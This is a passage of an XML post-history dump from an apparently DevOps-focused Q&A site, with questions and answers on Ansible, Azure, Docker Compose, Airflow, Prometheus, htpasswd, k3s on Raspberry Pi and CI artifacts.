combine(item.item) }}&quot;&#xD;&#xA;        with_items: &quot;{{ tmp_users.results }}&quot;&#xD;&#xA;        register: tmp_users_sorted&#xD;&#xA;        when: &quot;not item is skipped&quot;&#xD;&#xA;      - set_fact:&#xD;&#xA;          nexus_local_users: &quot;{{ tmp_users_sorted.results | map(attribute='item.ansible_facts.tmp_user') | list | select('defined') | list }}&quot;&#xD;&#xA;      - debug:&#xD;&#xA;          msg: &quot;{{ nexus_local_users }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The following was added/changed:&#xD;&#xA;```yaml&#xD;&#xA;        when: &quot;not '{{ playbook_dir }}/credentials/{{ item.username }}/password.txt' is exists&quot;&#xD;&#xA;```&#xD;&#xA;```yaml&#xD;&#xA;        nexus_local_users: &quot;{{ tmp_users_sorted.results | map(attribute='item.ansible_facts.tmp_user') | list | select('defined') | list }}&quot;&#xD;&#xA;```&#xD;&#xA;```yaml&#xD;&#xA;       when: &quot;not item is skipped&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This makes for a compact solution without adding more tasks/files.&#xD;&#xA;&#xD;&#xA;For more information see: https://docs.ansible.com/ansible/latest/user_guide/playbooks_tests.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34550" PostHistoryTypeId="50" PostId="9763" RevisionGUID="8ef138c3-6467-4615-8ac1-0880afa6d92a" CreationDate="2020-04-10T12:02:50.517" UserId="-1" />
  <row Id="34563" PostHistoryTypeId="2" PostId="11303" RevisionGUID="c675a7af-d444-470b-81b5-b3f5b78cced4" CreationDate="2020-04-10T20:19:47.387" UserId="21634" Text="For now there is no support for accessing Azure Table Storage with Managed Identities.&#xD;&#xA;&#xD;&#xA;Supported services are described here:&#xD;&#xA;&#xD;&#xA; - [Services that support managed identities for Azure resources][1]&#xD;&#xA;&#xD;&#xA;According to documentation, Azure Table Storage allows you to authenticate only by using account key. So SAS authentication is not solution here either.&#xD;&#xA;&#xD;&#xA;Possible solution could be like this:&#xD;&#xA;&#xD;&#xA; 1. Create Azure Key Vault and store account key as a secret Assign&#xD;&#xA; 2. permission to this key vault to your Managed Identity Use Managed&#xD;&#xA; 3. Identity to fetch the key from key vault in a runtime &#xD;&#xA; 4. Use the key to Azure Table Storage&#xD;&#xA;&#xD;&#xA;As additional step you can create separate Storage Account to store only tables. With this approach you should be able to restrict access to tables service properly.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/services-support-managed-identities" ContentLicense="CC BY-SA 4.0" />
  <row Id="34565" PostHistoryTypeId="2" PostId="11304" RevisionGUID="b11e6f65-d87e-44e8-8b47-2d234560b4e2" CreationDate="2020-04-10T21:06:22.627" UserId="21634" Text="There are at least two ways to achieve this.&#xD;&#xA;&#xD;&#xA;First is to go with transforming json output to proper object for PowerShell as described in this thread:&#xD;&#xA;&#xD;&#xA; - [how do you select just one property from an array of “results” from the Azure command 'az group list in powershell'?][2]&#xD;&#xA;&#xD;&#xA;Second it to use `--query` global parameter for Azure CLI:&#xD;&#xA;&#xD;&#xA;    az group list --query &quot;[?contains(name,'kafka')].name&quot;&#xD;&#xA;&#xD;&#xA;But remember to use at least PowerShell 6.2 as previous versions have an issue:&#xD;&#xA;&#xD;&#xA; - [powershell --query error #9047][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Azure/azure-cli/issues/9047&#xD;&#xA;  [2]: https://stackoverflow.com/questions/58738011/how-do-you-select-just-one-property-from-an-array-of-results-from-the-azure-co" ContentLicense="CC BY-SA 4.0" />
  <row Id="34566" PostHistoryTypeId="2" PostId="11305" RevisionGUID="78a81b42-f134-4988-a48a-f70f75fe99ef" CreationDate="2020-04-10T22:14:03.280" UserId="21634" Text="I will try to elaborate a lite about those topics.&#xD;&#xA;&#xD;&#xA; 1. When secret expires and you got error, you have to refresh connection. Go to Edit dialog for connection and save without any changes. Described here: [Azure devops service connection expired and cannot edit/renew][1]&#xD;&#xA;  &#xD;&#xA;    But I have already tested scenario when I delete all secrets assigned to service principal used for the Azure DevOps connection. And it is still working. So I can assume, that it depends on how you create connection (automatic or manual service principal). When created with automatic path, it doesn't depend on secrets.&#xD;&#xA;&#xD;&#xA;  On the other hand, when I add connection with manually providing service principal, then delete all secrets, the connection stops working. &#xD;&#xA;&#xD;&#xA; 2. Yes, the service principal will exist. But best practice is to set up more then one Owner of the service principal. If the only one service principal owner is deleted, you need to have higher permission to manage all service principals.&#xD;&#xA; 3. Service principal will not expire itself, only secrets generated for it. To delete service principal object, you have to do it manually.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developercommunity.visualstudio.com/content/problem/929344/azure-devops-service-connection-expired-and-cannot.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34570" PostHistoryTypeId="2" PostId="11306" RevisionGUID="3a9f1df6-bccb-407d-a38c-af0524d21dbd" CreationDate="2020-04-11T00:30:39.110" UserId="16059" Text="Let's say I have some branching logic in an Airflow DAG.  If either branch finishes, I'm happy to say it was a success.&#xD;&#xA;&#xD;&#xA;Is there a way to say that the DAG is complete when either branch is done?&#xD;&#xA;&#xD;&#xA;For example, if I join the branches back together at the end with a dummy task, and mark the last dummy task complete (by saying its complete if any 1 child completes), will the over-all DAG run status be &quot;success&quot; at that point?&#xD;&#xA;&#xD;&#xA;*Note: cross posting to stack-overflow after this.  I feel it belongs better here but I need more answers/attention on it.*" ContentLicense="CC BY-SA 4.0" />
  <row Id="34571" PostHistoryTypeId="1" PostId="11306" RevisionGUID="3a9f1df6-bccb-407d-a38c-af0524d21dbd" CreationDate="2020-04-11T00:30:39.110" UserId="16059" Text="Airflow - can a dag finish before its last task?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34572" PostHistoryTypeId="3" PostId="11306" RevisionGUID="3a9f1df6-bccb-407d-a38c-af0524d21dbd" CreationDate="2020-04-11T00:30:39.110" UserId="16059" Text="&lt;apache-airflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34573" PostHistoryTypeId="2" PostId="11307" RevisionGUID="7ec1ccad-12ac-4486-a5e5-0102f79abcf6" CreationDate="2020-04-11T03:09:18.593" UserId="21642" Text="Using Powershell's ` Invoke-WebRequest ` cmdlet:&#xD;&#xA;```&#xD;&#xA;$Links=$(Invoke-WebRequest -Uri 'https://tomcat.apache.org/download-80.cgi' | Select-Object -ExpandProperty Links)&#xD;&#xA;$($Links | Where-Object -Property outerHTML -Match '&lt;a href=&quot;#8.5.[0-9]+&quot;&gt;8.5.[0-9]+&lt;/a&gt;').href.substring(1)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Returns:&#xD;&#xA;```&#xD;&#xA;8.5.54&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This command works on Windows/Linux/MACOS" ContentLicense="CC BY-SA 4.0" />
  <row Id="34574" PostHistoryTypeId="5" PostId="11307" RevisionGUID="deef5c47-8e26-4b22-9ce3-b57d6c932783" CreationDate="2020-04-11T03:51:20.103" UserId="21642" Comment="deleted 30 characters in body" Text="Using Powershell's ` Invoke-WebRequest ` cmdlet:&#xD;&#xA;```&#xD;&#xA;$Links=$(Invoke-WebRequest -Uri 'https://tomcat.apache.org/download-80.cgi' | Select-Object -ExpandProperty Links)&#xD;&#xA;$($Links | Where-Object -Property href -Match '#8.5.[0-9]+').href.substring(1)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Returns:&#xD;&#xA;```&#xD;&#xA;8.5.54&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This command works on Windows/Linux/MACOS" ContentLicense="CC BY-SA 4.0" />
  <row Id="34576" PostHistoryTypeId="2" PostId="11308" RevisionGUID="d665927f-282d-4997-b0b7-2784176b3358" CreationDate="2020-04-11T06:49:08.000" UserId="21644" Text="I have used Azure Pipeline for CI/CD on various small projects that I have worked and it has been a great experience. I am working now on a decent size project that has a web app, mobile(xamarin) app and API. We plan to use Gitflow along with Azure Devops for the delivery process. But I have got a few questions that is really bothering me, and would like to hear other opinion.&#xD;&#xA;&#xD;&#xA; 1. I understand that feature branches are created to work on a user story, but when multiple people are working on a user story, do we create a feature branch, and then each developer branch of it and then work on the individual sub-tasks? And when they complete their work, they merge back to the feature branch. Is this a standard practice? Or do developers merge back to develop branch as they finish their sub-tasks?&#xD;&#xA; 2. Is it a good practice to do a build in Azure Devops for every PR merge to develop branch?&#xD;&#xA; 3. When a feature branch is merged with develop branch, do we immediately sent out a release or do we group and send out as nightly builds to QA?&#xD;&#xA; 4. I understand that both build and release pipelines offer a great flexibility. But generally does the build pipeline generates the artifacts or is it the release pipeline that does that?&#xD;&#xA; 5. I see that in most tutorials, both build and release pipelines do restore the packages, compile the code, and create artifacts. Is that how its done?&#xD;&#xA;&#xD;&#xA;I appreciate if someone can help me with these questions. Or atleast point me in the right direction&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34577" PostHistoryTypeId="1" PostId="11308" RevisionGUID="d665927f-282d-4997-b0b7-2784176b3358" CreationDate="2020-04-11T06:49:08.000" UserId="21644" Text="Using Azure Devops with Git Workflow" ContentLicense="CC BY-SA 4.0" />
  <row Id="34578" PostHistoryTypeId="3" PostId="11308" RevisionGUID="d665927f-282d-4997-b0b7-2784176b3358" CreationDate="2020-04-11T06:49:08.000" UserId="21644" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34585" PostHistoryTypeId="2" PostId="11311" RevisionGUID="4f3c2c07-2d87-4588-9fcf-21e9bd9d92f7" CreationDate="2020-04-11T09:05:12.003" UserId="17218" Text="I commited the fix to the Github repo. The problem was that a role was included recursively.&#xD;&#xA;&#xD;&#xA;I split up the roles a bit to fix it.&#xD;&#xA;Also discovered a lot of other issues with repeated task executions (not all of the fixed yet because I'm still learning how to structure my ansible tasks)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34591" PostHistoryTypeId="5" PostId="11308" RevisionGUID="e82709d7-e9c6-49f8-ad88-7fd0b30e351b" CreationDate="2020-04-11T11:38:16.553" UserId="21644" Comment="deleted 155 characters in body" Text="I have used Azure Pipeline for CI/CD on various small projects that I have worked and it has been a great experience. I am working now on a decent size project that has a web app, mobile(xamarin) app and API. We plan to use Gitflow along with Azure Devops for the delivery process. But I have got a few questions that is really bothering me, and would like to hear other opinion.&#xD;&#xA;&#xD;&#xA; 1. I understand that feature branches are created to work on a user story, but when multiple people are working on a user story, do we create a feature branch, and then each developer branch of it and then work on the individual sub-tasks? And when they complete their work, they merge back to the feature branch. Is this a standard practice? Or do developers merge back to develop branch as they finish their sub-tasks?&#xD;&#xA; 2. Is it a good practice to do a build in Azure Devops for every PR merge to develop branch?&#xD;&#xA; 3. When a feature branch is merged with develop branch, do we immediately sent out a release or do we group and send out as nightly builds to QA?&#xD;&#xA; 4. I understand that both build and release pipelines offer a great flexibility. But generally does the build pipeline generates the artifacts or is it the release pipeline that does that?&#xD;&#xA;&#xD;&#xA;I appreciate if someone can help me with these questions. Or atleast point me in the right direction&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34592" PostHistoryTypeId="2" PostId="11313" RevisionGUID="7308038e-2dc2-4b66-8b67-827b629a8388" CreationDate="2020-04-11T12:05:43.107" UserId="21648" Text="Any one knows what does Bbn stands for in the below command&#xD;&#xA;&#xD;&#xA;I am aware that,If the bbn option is not provided its not possible to write in the htpasswd file,but what is the meaning of it&#xD;&#xA;&#xD;&#xA;    docker run --entrypoint htpasswd registry:2 -Bbn testuser password &gt; auth/htpasswd&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34593" PostHistoryTypeId="1" PostId="11313" RevisionGUID="7308038e-2dc2-4b66-8b67-827b629a8388" CreationDate="2020-04-11T12:05:43.107" UserId="21648" Text="creating private registry, id and password with -Bbn option" ContentLicense="CC BY-SA 4.0" />
  <row Id="34594" PostHistoryTypeId="3" PostId="11313" RevisionGUID="7308038e-2dc2-4b66-8b67-827b629a8388" CreationDate="2020-04-11T12:05:43.107" UserId="21648" Text="&lt;docker&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34595" PostHistoryTypeId="50" PostId="11055" RevisionGUID="9dafe45b-0118-4586-afe7-b891bebd7320" CreationDate="2020-04-11T13:04:35.540" UserId="-1" />
  <row Id="34596" PostHistoryTypeId="2" PostId="11314" RevisionGUID="04c24d80-99d1-4782-9261-dbd9a46d2309" CreationDate="2020-04-11T13:25:00.370" UserId="11440" Text="From [docs][1]: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; `-B`  Use bcrypt encryption for passwords. This is currently considered to be very secure.&#xD;&#xA;&#xD;&#xA;&gt; `-b`  Use batch mode; i.e., get the password from the command line rather than prompting for it. This option should be used with extreme care, since the password is clearly visible on the command line. For script use see the -i option. Available in 2.4.4 and later.&#xD;&#xA;&#xD;&#xA;&gt; `-n`  Display the results on standard output rather than updating a file. This is useful for generating password records acceptable to Apache for inclusion in non-text data stores. This option changes the syntax of the command line, since the passwdfile argument (usually the first one) is omitted. It cannot be combined with the -c option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://httpd.apache.org/docs/2.4/programs/htpasswd.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34605" PostHistoryTypeId="2" PostId="11317" RevisionGUID="a32d92f6-9742-4299-bb78-7bb1cf67a26b" CreationDate="2020-04-11T15:24:59.767" UserId="21634" Text="Azure Application Gateway allows you to provide one public IP for those App Services.&#xD;&#xA;&#xD;&#xA;You have to make the following steps:&#xD;&#xA;&#xD;&#xA; 1. Provision Application Gateway&#xD;&#xA; 2. Add listeners with host name for eachof the App Services&#xD;&#xA; 3. Add backends for each of the App Service&#xD;&#xA; 4. Create HTTP Settings with *Override with new host name* and *Pick host name from backend target* options&#xD;&#xA; 5. Add rules to connect listeners corresponding to backends&#xD;&#xA;&#xD;&#xA;At the end customer has to white-list one public IP assigned to Application Gateway and create DNS entries to point all App Services addresses to one public IP. &#xD;&#xA;&#xD;&#xA;Materials:&#xD;&#xA;&#xD;&#xA; - [Application Gateway support for multi-tenant back ends such as App&#xD;&#xA;   service][1]&#xD;&#xA; - [How an application gateway works][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/application-gateway/application-gateway-web-app-overview&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/application-gateway/how-application-gateway-works" ContentLicense="CC BY-SA 4.0" />
  <row Id="34607" PostHistoryTypeId="2" PostId="11318" RevisionGUID="4a2630d5-7c3b-4581-9604-f137f374a8c6" CreationDate="2020-04-11T17:24:35.397" UserId="20393" Text="Trying to optimize definition of multiple services with `docker-compose.yml`&#xD;&#xA;&#xD;&#xA;Here is the original, &quot;dumb&quot; variant of the `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      s1:&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;5001:9000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;        - ../www1:/var/www&#xD;&#xA;      s2:&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;5002:9000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;        - ../www2:/var/www&#xD;&#xA;      s3:&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;5003:9000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;        - ../www3:/var/www&#xD;&#xA;&#xD;&#xA;Is there some sort of an iterator to compact this to just one block like the following?&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      for i in 1,2,3:&#xD;&#xA;        s$i:&#xD;&#xA;          build: .&#xD;&#xA;          ports:&#xD;&#xA;          - &quot;500$i:9000&quot;&#xD;&#xA;          volumes:&#xD;&#xA;          - ../www$i:/var/www" ContentLicense="CC BY-SA 4.0" />
  <row Id="34608" PostHistoryTypeId="1" PostId="11318" RevisionGUID="4a2630d5-7c3b-4581-9604-f137f374a8c6" CreationDate="2020-04-11T17:24:35.397" UserId="20393" Text="docker-compose multiple services in a loop" ContentLicense="CC BY-SA 4.0" />
  <row Id="34609" PostHistoryTypeId="3" PostId="11318" RevisionGUID="4a2630d5-7c3b-4581-9604-f137f374a8c6" CreationDate="2020-04-11T17:24:35.397" UserId="20393" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;shell-script&gt;&lt;templating&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34610" PostHistoryTypeId="2" PostId="11319" RevisionGUID="1a63fcc0-7269-4870-90be-697c375a46b5" CreationDate="2020-04-11T19:03:41.017" UserId="21640" Text="Check out the GitLab Operations Dashboard feature (https://docs.gitlab.com/ee/user/operations_dashboard/)&#xD;&#xA;&#xD;&#xA;There is a screenshot on that page, too, so you can get an idea of it." ContentLicense="CC BY-SA 4.0" />
  <row Id="34614" PostHistoryTypeId="2" PostId="11321" RevisionGUID="79386477-d9aa-4ecb-9cf2-6c7bf6b4932b" CreationDate="2020-04-12T12:20:05.320" UserId="17579" Text="Not in pure Docker Compose.  If you have a plain-text templating engine you like (Mustache, Jinja, m4, ...) you can ask it to do this for you.&#xD;&#xA;&#xD;&#xA;You tagged this as [tag:shell-script], and [Compose can take the YAML configuration on stdin](https://docs.docker.com/compose/reference/#specifying-multiple-compose-files), so in principle one option is to write a shell script, and then pipe that into `docker-compose`:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    buildComposeYaml() {&#xD;&#xA;      cat &lt;&lt;HEADER&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;    HEADER&#xD;&#xA;      for i in $(seq 3); do&#xD;&#xA;        cat &lt;&lt;BLOCK&#xD;&#xA;      s$i:&#xD;&#xA;        build: ../www$i&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;500$i:9000&quot;&#xD;&#xA;    BLOCK&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    buildComposeYaml | docker-compose -f- &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;(Note that YAML is indentation-sensitive, and the script is mixing indentation for the script itself, the YAML embedded in the script, and the end-of-heredoc markers; so this will work for a simple tool but it wouldn't be my long-term choice.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34615" PostHistoryTypeId="2" PostId="11322" RevisionGUID="a8bb888a-198d-46ae-88e7-99f788896744" CreationDate="2020-04-12T13:42:05.893" UserId="16059" Text="Answering my own question.&#xD;&#xA;&#xD;&#xA;I have yet to test this but https://github.com/Cleafy/promqueen seems to be designed for this purpose:&#xD;&#xA;&#xD;&#xA;&gt; PromQueen made possible to record prometheus metrics offline. PromQueen can, &gt; therefore, backfill the recorded data inside a native prometheus database.&#xD;&#xA;&#xD;&#xA;&gt; PromQueen is composed of two primary tools:&#xD;&#xA;&#xD;&#xA;&gt; - promrec tapes the metrics in a specified output file.&#xD;&#xA;&gt; - promplay backfills the prometheus database from scratch.&#xD;&#xA;&#xD;&#xA;It doesn't have a lot of contributors but it comes from another POC repo and it was updated in the last 6 months, so I suspect it'll work fine.&#xD;&#xA;&#xD;&#xA;In any case, it proves that you can plausibly back-fill prometheus, so it's not impossible.&#xD;&#xA;&#xD;&#xA;## Roadmap - Prometheus&#xD;&#xA;&#xD;&#xA;You can also find this in the prometheus road-map, so it's clearly slated to be built-in eventually.&#xD;&#xA;&#xD;&#xA;https://prometheus.io/docs/introduction/roadmap/&#xD;&#xA;&#xD;&#xA;&gt; Backfill time series&#xD;&#xA;Backfilling will permit bulk loads of data in the past. This will allow for retroactive rule evaluations, and transferring old data from other monitoring systems." ContentLicense="CC BY-SA 4.0" />
  <row Id="34616" PostHistoryTypeId="5" PostId="11322" RevisionGUID="8e612642-54fc-4c33-8ce2-256946a24cb9" CreationDate="2020-04-12T16:07:31.200" UserId="16059" Comment="added 31 characters in body" Text="Answering my own question (after a few days of research).&#xD;&#xA;&#xD;&#xA;I have yet to test this but https://github.com/Cleafy/promqueen seems to be designed for this purpose:&#xD;&#xA;&#xD;&#xA;&gt; PromQueen made possible to record prometheus metrics offline. PromQueen can, &gt; therefore, backfill the recorded data inside a native prometheus database.&#xD;&#xA;&#xD;&#xA;&gt; PromQueen is composed of two primary tools:&#xD;&#xA;&#xD;&#xA;&gt; - promrec tapes the metrics in a specified output file.&#xD;&#xA;&gt; - promplay backfills the prometheus database from scratch.&#xD;&#xA;&#xD;&#xA;It doesn't have a lot of contributors but it comes from another POC repo and it was updated in the last 6 months, so I suspect it'll work fine.&#xD;&#xA;&#xD;&#xA;In any case, it proves that you can plausibly back-fill prometheus, so it's not impossible.&#xD;&#xA;&#xD;&#xA;## Roadmap - Prometheus&#xD;&#xA;&#xD;&#xA;You can also find this in the prometheus road-map, so it's clearly slated to be built-in eventually.&#xD;&#xA;&#xD;&#xA;https://prometheus.io/docs/introduction/roadmap/&#xD;&#xA;&#xD;&#xA;&gt; Backfill time series&#xD;&#xA;Backfilling will permit bulk loads of data in the past. This will allow for retroactive rule evaluations, and transferring old data from other monitoring systems." ContentLicense="CC BY-SA 4.0" />
  <row Id="34620" PostHistoryTypeId="50" PostId="8629" RevisionGUID="c42ff3f8-7b9e-414a-83d2-f50ae8c0a798" CreationDate="2020-04-12T21:02:00.270" UserId="-1" />
  <row Id="34621" PostHistoryTypeId="2" PostId="11324" RevisionGUID="6e13f971-c531-424c-b936-f6982c22bf44" CreationDate="2020-04-12T21:16:01.847" UserId="21663" Text="I apologize in advance if this is trivial as I am an undergrad and quite new to kubernetes, raspberry pis, and networking in general. I only included the fact I am working on Raspberry Pi for reference, as I do not think the issue I am having is related.&#xD;&#xA;&#xD;&#xA;The overall goal is to setup a k3s cluster where the server is hosted on one raspberry pi and all other pis are nodes in the cluster. I am generally trying to follow [this tutorial](https://blog.alexellis.io/test-drive-k3s-on-raspberry-pi/). &#xD;&#xA;&#xD;&#xA;Here is relevant information to my networking setup before installing k3s:&#xD;&#xA;&#xD;&#xA;* 2 raspberry pis with hostnames red and red001 (I intend for red001 to be a node in red's server)&#xD;&#xA;* I am using `red` as a router for `red001`. ie. I have setup red as a wired access point for red001. That is, red is connected to my internet directly and red001 is connected to the internet by connecting to red. For reference, red is connected to the internet via eth1 and is connected to a network switch (that is connected to red001) via eth0. So I have configured iPv4 forwarding using iptables to route traffic from eth0 to eth1 and vice versa.&#xD;&#xA;* Private (eth0) network has an IP range of 169.254.0.0 - 169.254.255.255 (ie. netmask 255.255.0.0)&#xD;&#xA;* `red` has IP 169.254.150.87&#xD;&#xA;* `red001` has static IP 169.254.10.1&#xD;&#xA;* Additionally, I am using a static ip for red001 and, as such, have disabled the dhcp client daemon on red001. &#xD;&#xA;* I have verified a working connection by using curl and ping commands on red001. &#xD;&#xA;* Both `red` and `red001` are in each other's `/etc/hosts` (ie. I can ssh into `red` from `red001` and I can ssh into `red001` from `red`)&#xD;&#xA;&#xD;&#xA;So for actually setting up k3s, I have been trying to follow the process described in the link above. I followed all steps (with the exception of the k3sup update step), but I am having trouble connecting `red001` to the server. &#xD;&#xA;&#xD;&#xA;Specifically, when I try to run&#xD;&#xA;```&#xD;&#xA;sudo k3s agent --server ${K3S_URL} --token ${K3S_TOKEN}&#xD;&#xA;```&#xD;&#xA;on `red001` with&#xD;&#xA;```&#xD;&#xA;K3S_URL = 'https://red:6443'&#xD;&#xA;```&#xD;&#xA;and `K3S_TOKEN` equal to the token given in `/var/lib/rancher/k3s/server/node-token` of `red`, I am met with the following output:&#xD;&#xA;```&#xD;&#xA;INFO[2020-04-12T14:43:40.167158119-04:00] Starting k3s agent v1.17.4+k3s1 (3eee8ac3)   &#xD;&#xA;INFO[2020-04-12T14:43:40.168078475-04:00] module overlay was already loaded            &#xD;&#xA;INFO[2020-04-12T14:43:40.168178317-04:00] module nf_conntrack was already loaded       &#xD;&#xA;INFO[2020-04-12T14:43:40.168234827-04:00] module br_netfilter was already loaded       &#xD;&#xA;INFO[2020-04-12T14:43:40.169668407-04:00] Running load balancer 127.0.0.1:43169 -&gt; [red:6443] &#xD;&#xA;ERRO[2020-04-12T14:43:40.858464467-04:00] unable to select an IP from default routes.  &#xD;&#xA;ERRO[2020-04-12T14:43:46.124906066-04:00] unable to select an IP from default routes.  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My initial thought was there must be a problem with the routes I set up on `red001`&#xD;&#xA;So I checked the configuration using `route -n` and got this:&#xD;&#xA;```&#xD;&#xA;Kernel IP routing table&#xD;&#xA;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;0.0.0.0         169.254.150.87  0.0.0.0         UG    0      0        0 eth0&#xD;&#xA;169.254.0.0     0.0.0.0         255.255.0.0     U     0      0        0 eth0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But this makes sense to me. First row tells me that the IP address of `red` is the default gateway, which is what we want right? The second row tells me it can communicate with any device connected to the network switch. Makes sense, but I don't feel it's quite relevant for this.&#xD;&#xA;&#xD;&#xA;I'm wondering if maybe the issue is cause by the way I setup the iptables, but I don't see how I could get this far if there was something wrong. Because surely if I set something wrong, then doing things like `curl -sfL https://get.k3s.io | sh -` would cause an issue. But nothing went wrong that way.&#xD;&#xA;&#xD;&#xA;I've been trying to figure this issue out for a while. I've explored several different options, but none have worked. I suppose that because this error can be raised in a variety of circumstances, trying to pinpoint the exact cause is a bit tricky.&#xD;&#xA;&#xD;&#xA;Does anyone have any ideas on what is wrong? Did my iptable routing on `red` maybe mess something up? Thank you in advance for all your help!" ContentLicense="CC BY-SA 4.0" />
  <row Id="34622" PostHistoryTypeId="1" PostId="11324" RevisionGUID="6e13f971-c531-424c-b936-f6982c22bf44" CreationDate="2020-04-12T21:16:01.847" UserId="21663" Text="Can't set up basic k3s cluster on raspberry pi setup" ContentLicense="CC BY-SA 4.0" />
  <row Id="34623" PostHistoryTypeId="3" PostId="11324" RevisionGUID="6e13f971-c531-424c-b936-f6982c22bf44" CreationDate="2020-04-12T21:16:01.847" UserId="21663" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34624" PostHistoryTypeId="5" PostId="11214" RevisionGUID="d422499e-8936-42df-9256-9b076e68b344" CreationDate="2020-04-13T05:18:06.227" UserId="20068" Comment="getting another error while using command module" Text="I want to run couple of commands in ansible playbook I am trying below:&#xD;&#xA;&#xD;&#xA;     - name: Running multiple cmds&#xD;&#xA;       command:&#xD;&#xA;        - |&#xD;&#xA;          cmd2&#xD;&#xA;          cmd2&#xD;&#xA;          cmd3&#xD;&#xA;          cmd4&#xD;&#xA;&#xD;&#xA;But i am getting an error on this task while running above code.&#xD;&#xA;&#xD;&#xA;**Update**: I am trying to use below commands using command module but getting an error:&#xD;&#xA;&#xD;&#xA;    - name: install pexpect using pip&#xD;&#xA;      shell: /bin/bash -c &quot;pip install pexpect&quot;&#xD;&#xA;    &#xD;&#xA;    - name: Join system to AD &#xD;&#xA;      expect:&#xD;&#xA;        command: &quot;{{ item }}&quot;&#xD;&#xA;        loop:&#xD;&#xA;          - source /etc/os-release&#xD;&#xA;          - realm join --membership-software=adcli --user=username@EXAMPLE.COM --computer-ou=&quot;OU={{ env }},OU={{ account }},OU=XXXX,OU=XXXXXX,DC=XXXXXXX,DC=XXXXXXX&quot; --os-name=&quot;$PRETTY_NAME&quot; --os-version=&quot;$VERSION&quot; &lt;DCNAME&gt;&#xD;&#xA;        responses:&#xD;&#xA;            Password for *: &quot;{{ username | b64decode }}&quot;&#xD;&#xA;&#xD;&#xA;Error: &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    TASK [adjoin : Join system to AD] ***********************************************************************************************************************************************************&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;msg&quot;: &quot;The task includes an option with an undefined variable. The error was: 'item' is undefined\n\nThe error appears to be in '/tmp/ansiblepull/playbooks/roles/adjoin/tasks/main.yml': line 58, column 3, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n\n- name: Join system to AD\n  ^ here\n&quot;}&#xD;&#xA;&#xD;&#xA;Can anyone help me in solving this.&#xD;&#xA;&#xD;&#xA;I am getting an error while syntax-check as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="34628" PostHistoryTypeId="2" PostId="11326" RevisionGUID="a9b45e81-dd51-4a74-981d-e7026e7caebe" CreationDate="2020-04-13T07:32:20.047" UserId="707" Text="In the [Open Source ventilator project][1], we aim to provide those who focus on testing with a ready-to-go flash file for the Arduino controller board.&#xD;&#xA;&#xD;&#xA;While the binaries seem to be there, for some reason the CI job can't pickup the artifacts.&#xD;&#xA;&#xD;&#xA;What is happening:&#xD;&#xA;&#xD;&#xA; * a CI/CD pipeline creates two files which can be listed using ```find```&#xD;&#xA; * in the next step, this pipeline reports it can't find these artifacts. It says, &quot;no matching files/no files to upload&quot;.&#xD;&#xA;&#xD;&#xA;What's the error and how to fix/troubleshoot? Why does this job end up as successful?&#xD;&#xA;&#xD;&#xA;[CI job definition][2]:&#xD;&#xA;&#xD;&#xA;    compile:&#xD;&#xA;      stage: build&#xD;&#xA;      tags:&#xD;&#xA;        - docker&#xD;&#xA;      script:&#xD;&#xA;        -  |&#xD;&#xA;    &#xD;&#xA;            git clone -b ci-gh https://github.com/mattd3v/Open-Source-Ventilator.git&#xD;&#xA;            cd 